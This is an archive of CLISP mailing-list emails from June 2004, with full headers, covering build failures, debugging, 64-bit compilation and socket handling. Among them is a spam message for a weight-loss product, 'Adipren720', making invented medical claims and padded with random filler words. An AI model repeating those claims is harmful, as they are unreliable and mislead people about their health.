CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 2 05:34:01 2004 X-Original-Date: Wed, 2 Jun 2004 14:33:10 +0200 >I tried to debug one of my Fortran DLLs and ran into the exact same >situation. I use Compaq Visual Fortran within Developer Studio. There is >something about CLISP that the Developer Studio debugger doesn't like. Yes, I noticed :-) Maybe we should post this to some c++ group. I thought it might be of interest for other clispers. (Meanwhile I do 'Message Box Debugging' :-))) From sds@gnu.org Wed Jun 02 06:59:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVWGu-0005vQ-TF for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 06:59:12 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BVWGu-0007ko-Hl for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 06:59:12 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i52DwtHg004288; Wed, 2 Jun 2004 09:58:56 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Larry Elmore Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <40BD11A9.2000709@comcast.net> (Larry Elmore's message of "Tue, 01 Jun 2004 18:30:49 -0500") References: <40BD11A9.2000709@comcast.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Larry Elmore , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp on AMD64 Linux? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 2 07:00:03 2004 X-Original-Date: Wed, 02 Jun 2004 09:58:55 -0400 > * Larry Elmore [2004-06-01 18:30:49 -0500]: > > Has anybody gotten clisp running on Gentoo AMD64 Linux? Or is this > something that still needs to be compiled and run in 32-bit mode? something like this: $ CC='gcc -m64' ./configure --build build-64 should get you a 64-bit CLISP in build-64/ directory. -- Sam Steingold (http://www.podval.org/~sds) running w2k Computers are like air conditioners: they don't work with open windows! From fukung@so-net.net.tw Wed Jun 02 09:08:27 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVYHz-0001ko-7E for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 09:08:27 -0700 Received: from authicp1.giga.net.tw ([203.133.1.106]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BVYHy-0003tE-EE for clisp-list@lists.sourceforge.net; Wed, 02 Jun 2004 09:08:26 -0700 Received: from localhost (unknown [211.22.199.158]) by authicp1.giga.net.tw (Postfix) with ESMTP id 4DEBE5D01B for ; Thu, 3 Jun 2004 00:04:25 +0800 (CST) X-Sender: fukung@so-net.net.tw From: HSIAO To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit Message-Id: <20040602160425.4DEBE5D01B@authicp1.giga.net.tw> X-Spam-Score: 3.5 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 0.1 LINES_OF_YELLING_2 BODY: 2 WHOLE LINES OF YELLING DETECTED 1.9 DATE_IN_FUTURE_06_12 Date: is 6 to 12 hours after Received: date 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] PRODUCTS INTRODUCTION (for clisp-list@lists.sourceforge.net) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 2 09:09:10 2004 X-Original-Date: Thu, 03 Jun 2004 08:30:00 +0800 ======================================= TAIWAN FU KUNG INDUSTRIAL CO., LTD. 18 TONG KUAN STREET, SAN MIN DIST., KAOHSIUNG, TAIWAN E-Mail: fukung@so-net.net.tw FAX: 886-7-3126142 ======================================= DATE: JUNE 02, 2004 TO: clisp-list@lists.sourceforge.net RE: PRODUCTS INTRODUCTION Dear sirs, We are pleased to contact you via this Internet, hoping this message could not bring you any inconvenience. PLEASE DELETE THIS MESSAGE IF YOU DO NOT REQUIRE, AND SORRY FOR THIS IN-CONVENIENCE TO YOU!! We are an exporting/importing company, based on factory production, in Taiwan for more than years. We would like to take this opportunity to introduce our products to you, as following 1.) SPHGANUM MOSS, as growing media for growing orchid/Topiary 2.) TEA SEED RESIDUES(cake), Organic Fishicide(kill un-wanted fish in shrimp/fish Aqua farming)/ Molluscicide(Kill snail/slug) 3.) Natural Tea Saponin Extract 4.) LECA(L.E.C.A.("Light Expand Clay Aggregate" or called "Hydrocorns"), for hydroponics 5.) GUNAO, VARIOUS ORGANIC FERTILIZER, NPK available for gardening products (VARIOUS ORGANIC MEDIA) 6.) 3 IN 1 ARTIST METAL EASEL 7.) FOLDING GOLF CARTS 8.) AUTO/MOTORCYCLE SPARE PARTS & ACCESSORIES, full range of parts 9.) DOCUMENT FILING CABINET 10.) IF YOU NEED OTHER PRODUCTS WE CAN BE OF ANY ASSISTANCE TO YOU, PLEASE LET US KNOW. WE WOULD BE HAPPY TO WORK FOR YOU! for steel tube products (EASEL, GOLF CARTS, MOTORCYCLE SPARE PARTS) Looking forward to hearing from you! Best Regards, S. C. Hsiao PS IF YOU HAVE OTHER PRODUCTS SUITABLE FOR US, PLEASE ALSO FEEL FREE TO LET US KNOW! From A.Nuzzo@motorola.com Thu Jun 03 05:53:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVrid-0000DG-Ad for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 05:53:15 -0700 Received: from ftpbox.mot.com ([129.188.136.101]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BVric-0002VU-U0 for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 05:53:15 -0700 Received: from az33exr03.mot.com (az33exr03.mot.com [10.64.251.233]) by ftpbox.mot.com (Motorola/Ftpbox) with ESMTP id i53CrDkT005281 for ; Thu, 3 Jun 2004 05:53:13 -0700 (MST) Received: from il02exm10.corp.mot.com (il02exm10.corp.mot.com [10.0.111.21]) by az33exr03.mot.com (Motorola/az33exr03) with ESMTP id i53Cr1oN029910 for ; Thu, 3 Jun 2004 07:53:01 -0500 Received: by il02exm10 with Internet Mail Service (5.5.2657.72) id ; Thu, 3 Jun 2004 07:53:11 -0500 Message-ID: From: Nuzzo Art-CINT116 To: "'clisp-list@lists.sourceforge.net'" Subject: [clisp-list] RE: Problem compiling on hp-ux 11.11 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 3 05:54:01 2004 X-Original-Date: Thu, 3 Jun 2004 07:53:10 -0500 Has anyone been successful in compliling Clips on HP-UX 11.11? I have tried to compile it again with the latest version clisp-2.33.2 with the same results. It will do a core dump when it tries to run the lisp.run command. Any other ideas what I might try? Thanks for any help, Art Nuzzo > From: Nuzzo Art-CINT116 > To: "'clisp-list@lists.sourceforge.net'" > > Date: Mon, 24 May 2004 13:31:28 -0500 > Subject: [clisp-list] RE: Problem compiling on hp-ux 11.11 > > Sure, no problem. Here it is. > > > artn@bs713> gcc -o malloc unix/malloc.c > unix/malloc.c: In function `printf_address': > unix/malloc.c:13: warning: right shift count >= width of type > artn@bs713> for x in 1000000 100000 10000 1000; do ./malloc $x; done > malloc(1000000) = #x40003158 > &main = #x400010A2 > malloc(100000) = #x40003158 > &main = #x400010A2 > malloc(10000) = #x40003158 > &main = #x400010A2 > malloc(1000) = #x40003158 > &main = #x400010A2 > artn@bs713> rm -f malloc > > > -----Original Message----- > > From: Sam Steingold [mailto:sds@gnu.org] > > Sent: Monday, May 24, 2004 1:11 PM > > To: clisp-list@lists.sourceforge.net; Nuzzo Art-CINT116 > > Cc: Bruno Haible > > Subject: Re: Problem compiling on hp-ux 11.11 > > > > > > Thanks a lot! > > could you please aso do > > $ gcc -o malloc unix/malloc.c > > $ for x in 1000000 100000 10000 1000; do ./malloc $x; done > > $ rm -f malloc > > > > thanks! > > > > > * Nuzzo Art-CINT116 [2004-05-24 12:41:32 > > > -0500]: > > > > > > If I do the ./configure --prefix=/users/artn --build > > build-O it does a > > > core dump when it tries to run ./lisp.run > > > > > > > > > chmod +w config.lisp > > > echo '(setq *clhs-root-default* > > "http://www.lisp.org/HyperSpec/")' >> > > > config.lisp ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 > > -norc -m 750KW -x "(and (load \"init.lisp\") > > (sys::%saveinitmem) (ext::exit))" > > > make: *** [interpreted.mem] Bus error (core dumped) > > > > > > > > Here is the backtrace: > > > > > > artn@bs713> gdb > > > GNU gdb 5.3 > > > Copyright 2002 Free Software Foundation, Inc. > > > GDB is free software, covered by the GNU General Public > > License, and > > > you are welcome to change it and/or distribute copies of it under > > > certain conditions. Type "show copying" to see the > > conditions. There > > > is absolutely no warranty for GDB. Type "show warranty" > > for details. > > > This GDB was configured as "hppa2.0w-hp-hpux11.11". > Breakpoint 1 at > > > 0x3a30c Breakpoint 2 at 0x38d24 > > > Breakpoint 3 at 0x37028 > > > Breakpoint 4 at 0x3b62c > > > Breakpoint 5 at 0x28df0 > > > .gdbinit:116: Error in sourced command file: > > > No symbol "back_trace" in current context. > > > (gdb) run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 > > -norc -m 750KW -x "(and (load \"init.lisp\") > > (sys::%saveinitmem) (ext::exit))" > > > Starting program: /users/artn/clisp-2.33/build-O/lisp.run > > ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW > > -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > > > > > > Program received signal SIGSEGV, Segmentation fault. > 0x00026fb4 in > > > gar_col_normal () > > > (gdb) bt > > > #0 0x00026fb4 in gar_col_normal () > > > #1 0x00028d1c in do_gar_col_simple () > > > #2 0x000bfeec in with_gc_statistics () > > > #3 0x00028d80 in gar_col_simple () > > > #4 0x00028fc0 in make_space_gc () > > > #5 0x000293c8 in allocate_vector () > > > #6 0x0002c11c in init_subr_tab_2 () > > > #7 0x0002df60 in initmem () > > > #8 0x0002f608 in main () > > > #9 0x7af36440 in _start () from /usr/lib/libc.2 > > > (gdb) > > > > > > > > > > > > I also tried with the Makefile modified with -O1, -O0, and the > > > combination -O0 with -DNO_GENERATIONAL_GC added to the > > CFLAGS. In all > > > cases the compile coredumped at the same loction. A make > clean was > > > done between each make. > > > > > > > -- > > Sam Steingold (http://www.podval.org/~sds) running w2k > Type louder, please. From Joerg-Cyril.Hoehle@t-systems.com Thu Jun 03 07:49:36 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVtXD-00019o-Oq; Thu, 03 Jun 2004 07:49:35 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BVtXD-00015n-BW; Thu, 03 Jun 2004 07:49:35 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 3 Jun 2004 16:49:27 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 3 Jun 2004 16:48:21 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0354F9C9@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: andreas.thiele@technologiekontor.de, clisp-list-admin@lists.sourceforge.net, clisp-list@lists.sourceforge.net Subject: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-MSMail-Priority: X-Mailer: X-MimeOLE: X-Spam-Score: X-BeenThere: X-Mailman-Version: Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 MISSING_OUTLOOK_NAME Message looks like Outlook, but isn't Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 3 07:50:13 2004 X-Original-Date: Thu, 3 Jun 2004 16:48:20 +0200 Hi, Andreas Thiele wrote: >Why does the debugger sense access violation while the program run >standalone works fine? I have no idea, I never used the MS-VC debugger and about to leave for = a month, but if running without an image really works, then you could = proceed as follows: lisp.run (load"init.fas") ; loads all of what would be in an image (load "myapp") This presupposes that you build the clisp sources. (load"init.lisp") = without .fas is *not* recommended. On UNIX, CLISP uses some signals, which annoys interaction with gdb. = Thus there's the .gdbrc file which silences the messages. Maybe there's = something equivalent for MS-VC? I just don't know. Regards, J=C3=B6rg H=C3=B6hle. From danielhoey@iprimus.com.au Thu Jun 03 08:12:41 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVttY-00079S-Hx for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 08:12:40 -0700 Received: from smtp02.syd.iprimus.net.au ([210.50.76.52]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BVttX-0006GM-Ta for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 08:12:40 -0700 Received: by smtp02.syd.iprimus.net.au (7.0.024) id 40BDB6CA00054BB4 for clisp-list@lists.sourceforge.net; Fri, 4 Jun 2004 01:05:23 +1000 Received: from [192.168.20.141] by cpms02.int.iprimus.net.au with HTTP; Fri, 4 Jun 2004 01:05:23 +1000 Message-ID: <40A1110B0000F81F@cpms02.int.iprimus.net.au> From: danielhoey@iprimus.com.au To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] clisp 2.31 compile error with misc.d on Linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 3 08:13:12 2004 X-Original-Date: Fri, 4 Jun 2004 01:05:23 +1000 I can't get clisp to compile on my Linux box (RedHat 9). The error is: gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -c misc.c misc.d: In function `C_module_info': misc.d:591: structure has no member named `foreign_libraries' misc.d:591: warning: left-hand operand of comma expression has no effect make: *** [misc.o] Error 1 I don't know if the full compiler output would be useful, I haven't included it as it's rather long. In anyone has any suggestions, then they would be much appreciated. thanks, Dan From andreas.thiele@technologiekontor.de Thu Jun 03 08:36:09 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVuGG-0004ne-7z for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 08:36:08 -0700 Received: from natsmtp00.rzone.de ([81.169.145.165]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BVuGF-0003B5-KS for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 08:36:07 -0700 Received: from atpws02 (pD9E323EF.dip.t-dialin.net [217.227.35.239]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id i53Fa3lT013784 for ; Thu, 3 Jun 2004 17:36:03 +0200 (MEST) From: "Andreas Thiele" To: Subject: AW: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0354F9C9@S4DE8PSAAGS.blf.telekom.de> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 3 08:37:03 2004 X-Original-Date: Thu, 3 Jun 2004 17:36:06 +0200 > ... (load"init.fas") ; loads all of what would be in an image ... Thanks a lot. This brought me much ahead. Indeed it is strange. At least = on WinXP you can't start lisp.exe without an image specified. You'll = obtain a message module `syscalls' requires package POSIX. and clisp quits. When starting from within the debugger you get WARNING: No initialization file specified. Please try: C:\clisp\base\lisp.exe -M lispinit.mem and are confronted to a prompt. After typing (load "init.lisp") the = access violation occurs when loading defs1.lisp. Thus I could narrow the = problematic range. I'm sure I will isolate the problem and continue = reporting ... Thanks Vielen Dank From sds@gnu.org Thu Jun 03 09:43:01 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVvIy-0005Z0-Qo for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 09:43:00 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BVvIy-0004hJ-E1 for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 09:43:00 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i53GgmB1013494; Thu, 3 Jun 2004 12:42:49 -0400 (EDT) To: clisp-list@lists.sourceforge.net, danielhoey@iprimus.com.au Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <40A1110B0000F81F@cpms02.int.iprimus.net.au> (danielhoey@iprimus.com.au's message of "Fri, 4 Jun 2004 01:05:23 +1000") References: <40A1110B0000F81F@cpms02.int.iprimus.net.au> Mail-Followup-To: clisp-list@lists.sourceforge.net, danielhoey@iprimus.com.au Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp 2.31 compile error with misc.d on Linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 3 09:44:00 2004 X-Original-Date: Thu, 03 Jun 2004 12:42:48 -0400 please upgrade to clisp 2.33.2 -- Sam Steingold (http://www.podval.org/~sds) running w2k The only thing worse than X Windows: (X Windows) - X From sds@gnu.org Thu Jun 03 11:02:53 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BVwYG-00006j-1q for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 11:02:52 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BVwYF-0007fo-Il for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 11:02:51 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i53I2ZB1007063; Thu, 3 Jun 2004 14:02:35 -0400 (EDT) To: Brian Mastenbrook Cc: lispweb@red-bean.com, clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Brian Mastenbrook's message of "Thu, 3 Jun 2004 12:42:31 -0500 (EST)") References: <40B30380.8060005@x-ray.at> Mail-Followup-To: Brian Mastenbrook , lispweb@red-bean.com, clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: [patch] portable araneida Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 3 11:03:10 2004 X-Original-Date: Thu, 03 Jun 2004 14:02:35 -0400 > * Brian Mastenbrook [2004-06-03 12:42:31 -0500]: > > On Tue, 25 May 2004, Sam Steingold wrote: > >> what is "fd-handler"? >> >> SOCKET-STATUS appears to be quite sufficient for my server needs. >> > > Thanks Sam; SOCKET-STATUS looks like what I was looking for. CMUCL and > SBCL have an integrated select() loop for the REPL too so that server > applications don't block the REPL, which is what I was referring to. I am not sure how to implement this without MT: when a character is available on STDIN, READ is called, which will then block until the form is finished. Note that SOCKET-STATUS works with KEYBOARD-STREAMs (and TERMINAL-STREAMs too), so you can emulate this yourself. > when buffering was turned on, araneida never saw the > requests until after the client closed the connection. FORCE-OUTPUT is necessary to flush the buffers. > When it was off, it seemed that the connection was getting closed too > soon? wget complained about a read error being caused by "connection > reset by peer". For some reason adding a call to socket:socket-status > on the client stream before closing fixed this. maybe SOCKET-SHUTDOWN is what you are looking for? -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From antwanputnamhc@correo.uson.mx Thu Jun 03 14:46:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BW02M-0000V7-Gt; Thu, 03 Jun 2004 14:46:10 -0700 Received: from adsl-68-124-215-206.dsl.sndg02.pacbell.net ([68.124.215.206] helo=fujitsu.com.au) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BW02K-0001YG-2c; Thu, 03 Jun 2004 14:46:10 -0700 Received: from 157.12.145.135 by smtp.correo.uson.mx; Thu, 03 Jun 2004 21:42:51 +0000 Message-ID: <8bbe01c449b3$bd3b130b$ac752104@fujitsu.com.au> From: "Antwan F. Putnam" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.3 ALL_NATURAL BODY: Spam is 100% natural?! 0.1 EXCUSE_10 BODY: "if you do not wish to receive any more" 0.8 BIZ_TLD URI: Contains a URL in the BIZ top-level domain Subject: [clisp-list] Powerful weightloss now available for you. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 3 14:47:02 2004 X-Original-Date: Thu, 03 Jun 2004 15:42:30 -0600 Hello, I have a special_offer for you... WANT TO LOSE WEIGHT? The most powerful weightloss is now available without prescription. All natural Adipren720 100% Money Back Guarantée! - Lose up to 19% Total Body Weight. - Up to 300% more Weight Loss while dieting. - Loss of 20-35% abdominal Fat. - Reduction of 40-70% overall Fat under skin. - Increase metabolic rate by 76.9% without Exercise. - Boost your Confidence level and Self Esteem. - Burns calorized fat. - Suppresses appetite for sugar. Get the facts about all-natural Adipren720 If you wish not to be contacted again please enter your email address here. ---- system information ---- identified environments items items personalization store often inferred function identifiers management problems exposed service relevant header data patent your subject Application identifiers allow This images case An logic an When Simplified index same Policy if defined xml:lang These corresponding individual From ataraxia@cox.net Thu Jun 03 16:46:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BW1uQ-0006t2-EO for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 16:46:06 -0700 Received: from lakermmtao02.cox.net ([68.230.240.37]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BW1uP-0001Hs-8v for clisp-list@lists.sourceforge.net; Thu, 03 Jun 2004 16:46:05 -0700 Received: from Arkadia.local ([68.100.65.11]) by lakermmtao02.cox.net (InterMail vM.6.01.03.02 201-2131-111-104-20040324) with ESMTP id <20040603234559.XMYO19971.lakermmtao02.cox.net@Arkadia.local> for ; Thu, 3 Jun 2004 19:45:59 -0400 Received: from [127.0.0.1] (localhost [127.0.0.1]) by Arkadia.local (Postfix) with ESMTP id 6D34F33E703 for ; Thu, 3 Jun 2004 19:45:58 -0400 (EDT) Mime-Version: 1.0 (Apple Message framework v618) Content-Transfer-Encoding: 7bit Message-Id: <2981E242-B5B8-11D8-ACBC-000393CAE5F4@cox.net> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Ray Kohler X-Mailer: Apple Mail (2.618) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Binary build available Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 3 16:47:42 2004 X-Original-Date: Thu, 3 Jun 2004 19:45:58 -0400 I have a clisp-2.33.2-ppc-powerpc-darwin-7.4.0.tar.gz build made. I am quite willing to share it, however, I have nowhere available to host it. I can upload (or even email) it, if someone is willing to take it that way and put it on the Sourceforge site. Let me know. From sds@gnu.org Fri Jun 04 06:14:27 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BWEWh-00008G-GK for clisp-list@lists.sourceforge.net; Fri, 04 Jun 2004 06:14:27 -0700 